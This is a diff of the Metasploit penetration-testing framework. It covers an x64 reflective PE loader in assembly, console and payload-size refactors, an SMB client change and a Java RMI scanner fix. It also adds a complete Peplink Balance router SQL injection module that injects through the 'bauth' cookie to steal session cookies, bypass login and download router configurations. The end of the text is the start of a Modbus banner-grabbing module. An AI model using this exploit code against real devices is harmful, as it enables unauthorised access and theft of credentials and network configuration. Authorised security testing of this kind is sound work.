|
||||
;mov rcx,rax ; Move the address of library name string to RCX
|
||||
xchg rbp,rsp ; Swap shadow stack
|
||||
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
|
||||
call api_call ; LoadLibraryA(RCX)
|
||||
xchg rbp,rsp ; Swap shadow stack
|
||||
ret ; <-
|
||||
GetProcAddress:
|
||||
xchg rbp,rsp ; Swap shadow stack
|
||||
mov rcx,r13 ; Move the module handle to RCX as first parameter
|
||||
mov rdx,rax ; Move the address of function name string to RDX as second parameter
|
||||
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
|
||||
call api_call ; GetProcAddress(ebx,[esp+4])
|
||||
xchg rbp,rsp ; Swap shadow stack
|
||||
ret ; <-
|
||||
complete:
|
||||
pop rax ; Clean out the stack
|
||||
pop rcx ; Pop the ImageSize into RCX
|
||||
push rdi ; Save ImageBase to stack
|
||||
mov r13,rdi ; Copy the new base value to r13
|
||||
add r13,r12 ; Add the address of entry value to new base address
|
||||
memcpy:
|
||||
mov al,[rsi] ; Move 1 byte of PE image to AL register
|
||||
mov [rdi],al ; Move 1 byte of PE image to image base
|
||||
mov byte [rsi],0x00 ; Overwrite copied byte (for less memory footprint)
|
||||
inc rsi ; Increase PE image index
|
||||
inc rdi ; Increase image base index
|
||||
loop memcpy ; Loop until zero
|
||||
PE_start:
|
||||
pop r13 ; Pop the image base to r13
|
||||
or rcx,-1 ; hProcess
|
||||
xor rdx,rdx ; lpBaseAddress
|
||||
xor r8,r8 ; hProcess
|
||||
xchg rbp,rsp ; Swap shadow stack
|
||||
mov r10d,#{Rex::Text.block_api_hash('kernel32.dll', 'FlushInstructionCache')}
|
||||
call api_call ; FlushInstructionCache(0xffffffff,NULL,NULL);
|
||||
#{prologue}
|
||||
add r13,r12 ; Add the address of entry value to image base
|
||||
call r13 ; Call the AOE
|
||||
and rsp,-0x10 ; Align stack
|
||||
mov rcx,0x00 ; dwExitCode
|
||||
mov r10d,#{'0x%.8x' % Msf::Payload::Windows.exit_types[opts[:exitfunk]]}
|
||||
call api_call ; Call exit funk based on exit_type
|
||||
#{asm_block_api}
|
||||
^
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -13,15 +13,24 @@ class Auxiliary
|
||||
|
||||
include Msf::Ui::Console::ModuleCommandDispatcher
|
||||
|
||||
|
||||
@@auxiliary_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
"-j" => [ false, "Run in the context of a job." ],
|
||||
"-o" => [ true, "A comma separated list of options in VAR=VAL format." ],
|
||||
"-a" => [ true, "The action to use. If none is specified, ACTION is used." ],
|
||||
"-q" => [ false, "Run the module in quiet mode with no output" ]
|
||||
@@auxiliary_action_opts = Rex::Parser::Arguments.new(
|
||||
'-h' => [ false, 'Help banner.' ],
|
||||
'-j' => [ false, 'Run in the context of a job.' ],
|
||||
'-o' => [ true, 'A comma separated list of options in VAR=VAL format.' ],
|
||||
'-q' => [ false, 'Run the module in quiet mode with no output' ]
|
||||
)
|
||||
|
||||
@@auxiliary_opts = Rex::Parser::Arguments.new(@@auxiliary_action_opts.fmt.merge(
|
||||
'-a' => [ true, 'The action to use. If none is specified, ACTION is used.'],
|
||||
))
|
||||
|
||||
#
|
||||
# Returns the hash of commands specific to auxiliary modules.
|
||||
#
|
||||
def action_commands
|
||||
mod.actions.map { |action| [action.name.downcase, action.description] }.to_h
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the hash of commands specific to auxiliary modules.
|
||||
#
|
||||
@@ -34,7 +43,7 @@ class Auxiliary
|
||||
"recheck" => "This is an alias for the rcheck command",
|
||||
"rexploit" => "This is an alias for the rerun command",
|
||||
"reload" => "Reloads the auxiliary module"
|
||||
}).merge( (mod ? mod.auxiliary_commands : {}) )
|
||||
}).merge( (mod ? mod.auxiliary_commands : {}) ).merge(action_commands)
|
||||
end
|
||||
|
||||
#
|
||||
@@ -48,9 +57,26 @@ class Auxiliary
|
||||
|
||||
return mod.send(meth.to_s, *args)
|
||||
end
|
||||
|
||||
action = meth.to_s.delete_prefix('cmd_')
|
||||
if mod && mod.kind_of?(Msf::Module::HasActions) && mod.actions.map(&:name).any? { |a| a.casecmp?(action) }
|
||||
return do_action(action, *args)
|
||||
end
|
||||
|
||||
return
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
# Execute the module with a set action
|
||||
#
|
||||
def do_action(meth, *args)
|
||||
action = mod.actions.find { |action| action.name.casecmp?(meth) }
|
||||
raise Msf::MissingActionError.new(meth) if action.nil?
|
||||
|
||||
cmd_run(*args, action: action.name)
|
||||
end
|
||||
|
||||
#
|
||||
#
|
||||
# Returns the command dispatcher name.
|
||||
@@ -70,9 +96,9 @@ class Auxiliary
|
||||
#
|
||||
# Executes an auxiliary module
|
||||
#
|
||||
def cmd_run(*args)
|
||||
def cmd_run(*args, action: nil)
|
||||
opts = []
|
||||
action = mod.datastore['ACTION']
|
||||
action ||= mod.datastore['ACTION']
|
||||
jobify = false
|
||||
quiet = false
|
||||
|
||||
@@ -87,7 +113,11 @@ class Auxiliary
|
||||
when '-q'
|
||||
quiet = true
|
||||
when '-h'
|
||||
cmd_run_help
|
||||
if action.nil?
|
||||
cmd_run_help
|
||||
else
|
||||
cmd_action_help(action)
|
||||
end
|
||||
return false
|
||||
else
|
||||
if val[0] != '-' && val.match?('=')
|
||||
@@ -179,6 +209,13 @@ class Auxiliary
|
||||
print @@auxiliary_opts.usage
|
||||
end
|
||||
|
||||
def cmd_action_help(action)
|
||||
print_line "Usage: " + action.downcase + " [options]"
|
||||
print_line
|
||||
print_line "Launches an auxiliary module."
|
||||
print @@auxiliary_action_opts.usage
|
||||
end
|
||||
|
||||
alias cmd_exploit_help cmd_run_help
|
||||
|
||||
#
|
||||
|
||||
@@ -110,6 +110,22 @@ module Msf
|
||||
print_line
|
||||
end
|
||||
|
||||
def print_module_info(mod, dump_json: false, show_doc: false)
|
||||
if dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
f = Tempfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Displays information about one or more module.
|
||||
#
|
||||
@@ -128,49 +144,41 @@ module Msf
|
||||
end
|
||||
|
||||
if (args.length == 0)
|
||||
if (active_module)
|
||||
if dump_json
|
||||
print(Serializer::Json.dump_module(active_module) + "\n")
|
||||
elsif show_doc
|
||||
f = Tempfile.new(["#{active_module.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{active_module.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(active_module, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(active_module))
|
||||
end
|
||||
if active_module
|
||||
print_module_info(active_module, dump_json: dump_json, show_doc: show_doc)
|
||||
return true
|
||||
else
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
elsif args.include? "-h"
|
||||
elsif args.include? '-h'
|
||||
cmd_info_help
|
||||
return false
|
||||
end
|
||||
|
||||
args.each { |name|
|
||||
args.each do |arg|
|
||||
mod_name = arg
|
||||
|
||||
# Use a module by search index
|
||||
index_from_list(@module_search_results, mod_name) do |mod|
|
||||
next unless mod && mod.respond_to?(:fullname)
|
||||
|
||||
# Module cache object from @module_search_results
|
||||
mod_name = mod.fullname
|
||||
end
|
||||
|
||||
# Ensure we have a reference name and not a path
|
||||
name = trim_path(mod_name, 'modules')
|
||||
|
||||
# Creates an instance of the module
|
||||
mod = framework.modules.create(name)
|
||||
|
||||
if (mod == nil)
|
||||
if mod.nil?
|
||||
print_error("Invalid module: #{name}")
|
||||
elsif dump_json
|
||||
print(Serializer::Json.dump_module(mod) + "\n")
|
||||
elsif show_doc
|
||||
f = Tempfile.new(["#{mod.shortname}_doc", '.html'])
|
||||
begin
|
||||
print_status("Generating documentation for #{mod.shortname}, then opening #{f.path} in a browser...")
|
||||
Msf::Util::DocumentGenerator.spawn_module_document(mod, f)
|
||||
ensure
|
||||
f.close if f
|
||||
end
|
||||
else
|
||||
print(Serializer::ReadableText.dump_module(mod))
|
||||
print_module_info(mod, dump_json: dump_json, show_doc: show_doc)
|
||||
end
|
||||
}
|
||||
end
|
||||
end
|
||||
|
||||
def cmd_options_help
|
||||
@@ -465,14 +473,13 @@ module Msf
|
||||
}
|
||||
else
|
||||
print_line(tbl.to_s)
|
||||
index_usage = "use #{@module_search_results.length - 1}"
|
||||
index_info = "info #{@module_search_results.length - 1}"
|
||||
name_usage = "use #{@module_search_results.last.fullname}"
|
||||
|
||||
print("Interact with a module by name or index. For example %grn#{index_info}%clr, %grn#{index_usage}%clr or %grn#{name_usage}%clr\n\n")
|
||||
|
||||
print_status("Using #{used_module}") if used_module
|
||||
|
||||
if @module_search_results.length > 1
|
||||
index_usage = "use #{@module_search_results.length - 1}"
|
||||
name_usage = "use #{@module_search_results.last.fullname}"
|
||||
|
||||
print("Interact with a module by name or index, for example %grn#{index_usage}%clr or %grn#{name_usage}%clr\n\n")
|
||||
end
|
||||
end
|
||||
|
||||
true
|
||||
@@ -649,7 +656,10 @@ module Msf
|
||||
|
||||
# Use a module by search index
|
||||
index_from_list(@module_search_results, mod_name) do |mod|
|
||||
return false unless mod && mod.respond_to?(:fullname)
|
||||
unless mod && mod.respond_to?(:fullname)
|
||||
print_error("Invalid module index: #{mod_name}")
|
||||
return false
|
||||
end
|
||||
|
||||
# Module cache object from @module_search_results
|
||||
mod_name = mod.fullname
|
||||
@@ -669,7 +679,7 @@ module Msf
|
||||
# Avoid trying to use the search result if it exactly matches
|
||||
# the module we were trying to load. The module cannot be
|
||||
# loaded and searching isn't going to change that.
|
||||
mods_found = cmd_search('-I', '-u', mod_name)
|
||||
mods_found = cmd_search('-I', '-u', *args)
|
||||
end
|
||||
|
||||
unless mods_found
|
||||
|
||||
@@ -203,11 +203,15 @@ module Msf
|
||||
normalized << "* [#{ref.ctx_val}](#{ref.site})"
|
||||
when 'URL'
|
||||
normalized << "* [#{ref.site}](#{ref.site})"
|
||||
when 'OSVDB'
|
||||
normalized << "* #{ref.site.to_s}"
|
||||
when 'US-CERT-VU'
|
||||
normalized << "* [VU##{ref.ctx_val}](#{ref.site})"
|
||||
when 'CVE', 'cve'
|
||||
if !cve_collection.empty? && ref.ctx_val.blank?
|
||||
normalized << "* #{NO_CVE_MESSAGE}"
|
||||
else
|
||||
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
|
||||
end
|
||||
else
|
||||
normalized << "* [#{ref.ctx_id}-#{ref.ctx_val}](#{ref.site})"
|
||||
|
||||
@@ -19,9 +19,6 @@ class PayloadCachedSize
|
||||
'Options' => {
|
||||
'CPORT' => 4444,
|
||||
'LPORT' => 4444,
|
||||
'LHOST' => '255.255.255.255',
|
||||
'KHOST' => '255.255.255.255',
|
||||
'AHOST' => '255.255.255.255',
|
||||
'CMD' => '/bin/sh',
|
||||
'URL' => 'http://a.com',
|
||||
'PATH' => '/',
|
||||
@@ -36,27 +33,27 @@ class PayloadCachedSize
|
||||
'DisableNops' => true
|
||||
}
|
||||
|
||||
OPTS6 = {
|
||||
'Format' => 'raw',
|
||||
'Options' => {
|
||||
'CPORT' => 4444,
|
||||
'LPORT' => 4444,
|
||||
'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
|
||||
'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
|
||||
'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
|
||||
'CMD' => '/bin/sh',
|
||||
'URL' => 'http://a.com',
|
||||
'PATH' => '/',
|
||||
'BUNDLE' => 'data/isight.bundle',
|
||||
'DLL' => 'external/source/byakugan/bin/XPSP2/detoured.dll',
|
||||
'RC4PASSWORD' => 'Metasploit',
|
||||
'DNSZONE' => 'corelan.eu',
|
||||
'PEXEC' => '/bin/sh',
|
||||
'StagerURILength' => 5
|
||||
},
|
||||
'Encoder' => nil,
|
||||
'DisableNops' => true
|
||||
}
|
||||
OPTS_ARCH_X64 = {
|
||||
'DLL' => 'data/vncdll.x64.dll',
|
||||
'PE' => 'data/vncdll.x64.dll'
|
||||
}.freeze
|
||||
|
||||
OPTS_ARCH_X86 = {
|
||||
'DLL' => 'data/vncdll.x86.dll',
|
||||
'PE' => 'data/vncdll.x86.dll'
|
||||
}.freeze
|
||||
|
||||
OPTS_IPV4 = {
|
||||
'LHOST' => '255.255.255.255',
|
||||
'KHOST' => '255.255.255.255',
|
||||
'AHOST' => '255.255.255.255'
|
||||
}.freeze
|
||||
|
||||
OPTS_IPV6 = {
|
||||
'LHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
|
||||
'KHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff',
|
||||
'AHOST' => 'ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'
|
||||
}.freeze
|
||||
|
||||
# Insert a new CachedSize value into the text of a payload module
|
||||
#
|
||||
@@ -104,8 +101,8 @@ class PayloadCachedSize
|
||||
# @return [Integer]
|
||||
def self.compute_cached_size(mod)
|
||||
return ":dynamic" if is_dynamic?(mod)
|
||||
return mod.generate_simple(OPTS6).size if mod.shortname =~ /6/
|
||||
return mod.generate_simple(OPTS).size
|
||||
|
||||
mod.generate_simple(module_options(mod)).size
|
||||
end
|
||||
|
||||
# Determines whether a payload generates a static sized output
|
||||
@@ -115,12 +112,9 @@ class PayloadCachedSize
|
||||
# verify that the size is static.
|
||||
# @return [Integer]
|
||||
def self.is_dynamic?(mod, generation_count=5)
|
||||
opts = module_options(mod)
|
||||
[*(1..generation_count)].map do |x|
|
||||
if mod.shortname =~ /6/
|
||||
mod.generate_simple(OPTS6).size
|
||||
else
|
||||
mod.generate_simple(OPTS).size
|
||||
end
|
||||
mod.generate_simple(opts).size
|
||||
end.uniq.length != 1
|
||||
end
|
||||
|
||||
@@ -131,13 +125,26 @@ class PayloadCachedSize
|
||||
def self.is_cached_size_accurate?(mod)
|
||||
return true if mod.dynamic_size? && is_dynamic?(mod)
|
||||
return false if mod.cached_size.nil?
|
||||
if mod.shortname =~ /6/
|
||||
mod.cached_size == mod.generate_simple(OPTS6).size
|
||||
else
|
||||
mod.cached_size == mod.generate_simple(OPTS).size
|
||||
end
|
||||
|
||||
mod.cached_size == mod.generate_simple(module_options(mod)).size
|
||||
end
|
||||
|
||||
# Get a set of sane default options for the module so it can generate a
|
||||
# payload for size analysis.
|
||||
#
|
||||
# @param mod [Msf::Payload] The class of the payload module to get options for
|
||||
# @return [Hash]
|
||||
def self.module_options(mod)
|
||||
opts = OPTS.clone
|
||||
# Assign this way to overwrite the Options key of the newly cloned hash
|
||||
opts['Options'] = opts['Options'].merge(mod.shortname =~ /6/ ? OPTS_IPV6 : OPTS_IPV4)
|
||||
if mod.arch_to_s == ARCH_X64
|
||||
opts['Options'].merge!(OPTS_ARCH_X64)
|
||||
elsif mod.arch_to_s == ARCH_X86
|
||||
opts['Options'].merge!(OPTS_ARCH_X86)
|
||||
end
|
||||
opts
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
@@ -31,16 +31,16 @@ attr_accessor :last_error, :server_max_buffer_size
|
||||
attr_accessor :socket, :client, :direct, :shares, :last_share, :versions
|
||||
|
||||
# Pass the socket object and a boolean indicating whether the socket is netbios or cifs
|
||||
def initialize(socket, direct = false, versions = [1, 2, 3], always_encrypt: true)
|
||||
def initialize(socket, direct = false, versions = [1, 2, 3], always_encrypt: true, backend: nil)
|
||||
self.socket = socket
|
||||
self.direct = direct
|
||||
self.versions = versions
|
||||
self.shares = {}
|
||||
self.server_max_buffer_size = 1024 # 4356 (workstation) or 16644 (server) expected
|
||||
|
||||
if self.versions == [1]
|
||||
if (self.versions == [1] && backend.nil?) || backend == :rex
|
||||
self.client = Rex::Proto::SMB::Client.new(socket)
|
||||
else
|
||||
elsif (backend.nil? || backend == :ruby_smb)
|
||||
self.client = RubySMB::Client.new(RubySMB::Dispatcher::Socket.new(self.socket, read_timeout: 60),
|
||||
username: '',
|
||||
password: '',
|
||||
|
||||
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
|
||||
# are needed when there's no database
|
||||
spec.add_runtime_dependency 'metasploit-model'
|
||||
# Needed for Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.10'
|
||||
spec.add_runtime_dependency 'metasploit-payloads', '2.0.12'
|
||||
# Needed for the next-generation POSIX Meterpreter
|
||||
spec.add_runtime_dependency 'metasploit_payloads-mettle', '1.0.2'
|
||||
# Needed by msfgui and other rpc components
|
||||
|
||||
@@ -0,0 +1,232 @@
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::SQLi
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Peplink Balance routers SQLi',
|
||||
'Description' => %q{
|
||||
Firmware versions up to 7.0.0-build1904 of Peplink Balance routers are affected by an unauthenticated
|
||||
SQL injection vulnerability in the bauth cookie, successful exploitation of the vulnerability allows an
|
||||
attacker to retrieve the cookies of authenticated users, bypassing the web portal authentication.
|
||||
|
||||
By default, a session expires 4 hours after login (the setting can be changed by the admin), for this
|
||||
reason, the module attempts to retrieve the most recently created sessions.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'X41 D-Sec GmbH <info@x41-dsec.de>', # Original Advisory
|
||||
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => %w[linux],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '42130' ],
|
||||
[ 'CVE', '2017-8835' ],
|
||||
[ 'URL', 'https://gist.github.com/red0xff/c4511d2f427efcb8b018534704e9607a' ]
|
||||
],
|
||||
'Targets' => [['Wildcard Target', {}]],
|
||||
'DefaultTarget' => 0
|
||||
)
|
||||
)
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The target URI', '/']),
|
||||
OptBool.new('BypassLogin', [true, 'Just bypass login without trying to leak the cookies of active sessions', false]),
|
||||
OptBool.new('EnumUsernames', [true, 'Retrieve the username associated with each session', false]),
|
||||
OptBool.new('EnumPrivs', [true, 'Retrieve the privilege associated with each session', false]),
|
||||
OptInt.new('LimitTries', [false, 'The max number of sessions to try (from most recent), set to avoid checking expired ones needlessly', nil]),
|
||||
OptBool.new('AdminOnly', [true, 'Only attempt to retrieve cookies of privilegied users (admins)', false])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
def perform_sqli
|
||||
# Note: using run_sql because there is a limit on the length of our queries
|
||||
# will work only if we remove the casts, NULL value handling etc.
|
||||
digit_range = ('0'..'9')
|
||||
bit_range = ('0'..'1')
|
||||
alphanumeric_range = ('0'..'z')
|
||||
session_count = @sqli.run_sql("select count(1) from sessionsvariables where name='expire'").to_i
|
||||
print_status "There are #{session_count} (possibly expired) sessions"
|
||||
|
||||
# limit the number of session cookies to retrieve if the option is set
|
||||
session_count = datastore['LimitTries'] if datastore['LimitTries'] && datastore['LimitTries'] < session_count
|
||||
|
||||
session_ids = session_count.times.map do |i|
|
||||
id = @sqli.run_sql('select id from sessionsvariables ' \
|
||||
"where name='expire' order by " \
|
||||
"cast(value as int) desc limit 1 offset #{i}", output_charset: digit_range).to_i
|
||||
# if AdminOnly, check if is an admin
|
||||
if datastore['AdminOnly']
|
||||
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
|
||||
is_rwa > 0 ? id : nil
|
||||
else
|
||||
id
|
||||
end
|
||||
end.compact
|
||||
|
||||
print_status("After filtering out non-admin sessions: #{session_ids.count} sessions remain") if datastore['AdminOnly']
|
||||
|
||||
if session_ids.count == 0
|
||||
print_error('No active authenticated sessions found, try again after a user has authenticated')
|
||||
return
|
||||
end
|
||||
|
||||
print_status('Trying the ids from the most recent logins')
|
||||
|
||||
cookies = [ ]
|
||||
|
||||
session_ids.each_with_index do |id, idx|
|
||||
cookie = @sqli.run_sql("select sessionid from sessions where id=#{id}", output_charset: alphanumeric_range)
|
||||
cookies << cookie
|
||||
if datastore['EnumUsernames']
|
||||
username = @sqli.run_sql("select value from sessionsvariables where name='username' and id=#{id}")
|
||||
end
|
||||
|
||||
if datastore['EnumPrivs']
|
||||
is_rwa = @sqli.run_sql("select count(1)>0 from sessionsvariables where id=#{id} and name='rwa' and value='1'", output_charset: bit_range).to_i
|
||||
end
|
||||
username_msg = username ? ", username = #{username}" : ''
|
||||
is_admin_msg = if is_rwa
|
||||
", with #{is_rwa > 0 ? 'read/write' : 'read-only'} permissions"
|
||||
else
|
||||
''
|
||||
end
|
||||
print_good "Found cookie #{cookie}#{username_msg}#{is_admin_msg}"
|
||||
break if session_count == idx + 1
|
||||
end
|
||||
cookies
|
||||
end
|
||||
|
||||
# returns false if data has an error message, the data otherwise
|
||||
def parse_and_check_for_errors(data)
|
||||
xml = ::Nokogiri::XML(data)
|
||||
if xml.errors.empty? && data.include?('errorMessage')
|
||||
print_error xml.css('errorMessage')[0].text
|
||||
false
|
||||
else
|
||||
xml.errors.empty? ? xml : data
|
||||
end
|
||||
end
|
||||
|
||||
def get_data_by_option(cookie, option)
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'data.cgi'),
|
||||
'method' => 'GET',
|
||||
'cookie' => "bauth=#{cookie}",
|
||||
'vars_get' => {
|
||||
'option' => option
|
||||
}
|
||||
})
|
||||
return '' if option == 'noop' && res.code == 200 && parse_and_check_for_errors(res.body)
|
||||
|
||||
if res.code == 200
|
||||
print_status "Retrieving #{option}"
|
||||
xml = parse_and_check_for_errors(res.body)
|
||||
if xml
|
||||
print_xml_data(xml)
|
||||
path = store_loot("peplink #{option}", 'text/xml', datastore['RHOST'], res.body)
|
||||
print_good "Saved at #{path}"
|
||||
xml
|
||||
else
|
||||
false
|
||||
end
|
||||
else
|
||||
print_error "Could not retrieve #{option}"
|
||||
false
|
||||
end
|
||||
end
|
||||
|
||||
def retrieve_data(cookie)
|
||||
data_options = %w[fhlicense_info sysinfo macinfo hostnameinfo uptime client_info hubport fhstroute ipsec wan_summary firewall cert_info mvpn_summary]
|
||||
# in case of a VPN being configured, the option cert_pem_details can leak private keys? (option=cert_pem_details&pem=)
|
||||
# might be interesting: eqos_priority, for QoS
|
||||
# first, attempt downloading the router configuration
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'download_config.cgi'),
|
||||
'method' => 'GET',
|
||||
'cookie' => "bauth=#{cookie}"
|
||||
})
|
||||
if res.code == 200
|
||||
# router configuration consists of a 24-byte header, and .tar.gz compressed data
|
||||
config = res.body
|
||||
if parse_and_check_for_errors(config)
|
||||
path = store_loot('peplink configuration tar gz', 'application/binary', datastore['RHOST'], config)
|
||||
print_good "Retrieved config, saved at #{path}"
|
||||
end
|
||||
else
|
||||
print_error 'Could not retrieve the router configuration file'
|
||||
end
|
||||
|
||||
data_options.each do |option|
|
||||
get_data_by_option(cookie, option)
|
||||
end
|
||||
end
|
||||
|
||||
def print_xml_data(xml)
|
||||
nodes = [ [xml, 0] ]
|
||||
until nodes.empty?
|
||||
node, nesting = nodes.pop
|
||||
if node.is_a?(Nokogiri::XML::Document)
|
||||
node.children.each do |child|
|
||||
nodes.push([child, nesting + 1])
|
||||
end
|
||||
elsif node.is_a?(Nokogiri::XML::Element)
|
||||
node_name = node.name
|
||||
if node.attributes && !node.attributes.empty?
|
||||
node_name += ' {' + node.attributes.map { |(_n, attr)| attr.name + '=' + attr.value }.join(',') + '}'
|
||||
end
|
||||
vprint_good "\t" * nesting + node_name
|
||||
node.children.each do |child|
|
||||
nodes.push([child, nesting + 1])
|
||||
end
|
||||
elsif node.is_a?(Nokogiri::XML::Text)
|
||||
vprint_good "\t" * nesting + node.content
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def check
|
||||
@sqli = create_sqli(dbms: SQLitei::BooleanBasedBlind) do |payload|
|
||||
res = send_request_cgi({
|
||||
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'MANGA', 'admin.cgi'),
|
||||
'method' => 'GET',
|
||||
'cookie' => "bauth=' or #{payload}--"
|
||||
})
|
||||
return Exploit::CheckCode::Unknown("Unable to connect to #{target_uri.path}") unless res
|
||||
res.get_cookies.empty? # no Set-Cookie header means the session cookie is valid
|
||||
end
|
||||
if @sqli.test_vulnerable
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def run
|
||||
unless check == Exploit::CheckCode::Vulnerable
|
||||
print_error 'Target does not seem to be vulnerable'
|
||||
return
|
||||
end
|
||||
print_good 'Target seems to be vulnerable'
|
||||
if datastore['BypassLogin']
|
||||
cookies = [ "' or id IN (select s.id from sessions as s " \
|
||||
"left join sessionsvariables as v on v.id=s.id where v.name='rwa' and v.value='1')--"]
|
||||
else
|
||||
cookies = perform_sqli
|
||||
end
|
||||
admin_cookie = cookies.detect do |c|
|
||||
print_status "Checking for admin cookie : #{c}"
|
||||
get_data_by_option(c, 'noop')
|
||||
end
|
||||
if admin_cookie.nil?
|
||||
print_error 'No valid admin cookie'
|
||||
return
|
||||
end
|
||||
retrieve_data(admin_cookie)
|
||||
end
|
||||
end
|
||||
@@ -33,15 +33,19 @@ class MetasploitModule < Msf::Auxiliary
|
||||
end
|
||||
|
||||
def run_host(target_host)
|
||||
vprint_status("Sending RMI Header...")
|
||||
connect
|
||||
begin
|
||||
connect
|
||||
rescue Rex::ConnectionError
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
vprint_status("Sending RMI Header...")
|
||||
send_header
|
||||
ack = recv_protocol_ack
|
||||
if ack.nil?
|
||||
print_error("Failed to negotiate RMI protocol")
|
||||
disconnect
|
||||
return
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# Determine if the instance allows remote class loading
|
||||
@@ -81,7 +85,7 @@ class MetasploitModule < Msf::Auxiliary
|
||||
if return_value.nil?
|
||||
print_good("Failed to send RMI Call, anyway JAVA RMI Endpoint detected")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "")
|
||||
return
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
|
||||
if return_value.is_exception? && loader_enabled?(return_value.value)
|
||||
@@ -94,9 +98,11 @@ class MetasploitModule < Msf::Auxiliary
|
||||
:info => "Module #{self.fullname} confirmed remote code execution via this RMI service",
|
||||
:refs => self.references
|
||||
)
|
||||
Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
print_status("#{rhost}:#{rport} Java RMI Endpoint Detected: Class Loader Disabled")
|
||||
report_service(:host => rhost, :port => rport, :name => "java-rmi", :info => "Class Loader: Disabled")
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -0,0 +1,183 @@
|
||||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'Modbus Banner Grabbing',
|
||||
'Description' => %q{
|
||||
This module grabs the banner of any device running the Modbus protocol
|
||||
by sending a request with Modbus Function Code 43 (Read Device
|
||||
Identification). Modbus is a data communications protocol originally
|
||||
published by Modicon (now Schneider Electric) in 1979 for use with its
|
||||
programmable logic controllers (PLCs).
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Juan Escobar <juan[at]null-life.com>', # @itsecurityco
|
||||
'Ezequiel Fernandez' # @capitan_alfa
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'https://modbus.org/docs/Modbus_Messaging_Implementation_Guide_V1_0b.pdf' ],
|
||||
[ 'URL', 'https://en.wikipedia.org/wiki/Modbus#Modbus_TCP_frame_format_(primarily_used_on_Ethernet_networks)' ],
|
||||
[ 'URL', 'https://github.com/industrialarmy/Hello_Proto' ],
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(502),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for the network probe', 2])
|
||||
]
|
||||
)
|
||||
end
|
||||
|
||||
# Main Modbus exception codes
|
||||
def handle_exception_codes(code)
|
||||
case code
|
||||
when "\xab\x01"
|
||||
print_error('Illegal Function: The function code received in the query is not recognized or allowed by the slave.')
|
||||
when "\xab\x02"
|
||||
print_error('Illegal Data Address: Data address of some or all the required entities are not allowed or do not exist in slave.')
|
||||
when "\xab\x03"
|
||||
print_error('Illegal Data Value: Value is not accepted by slave.')
|
||||
when "\xab\x04"
|
||||
print_error('Slave Device Failure: Unrecoverable error occurred while slave was attempting to perform requested action.')
|
||||
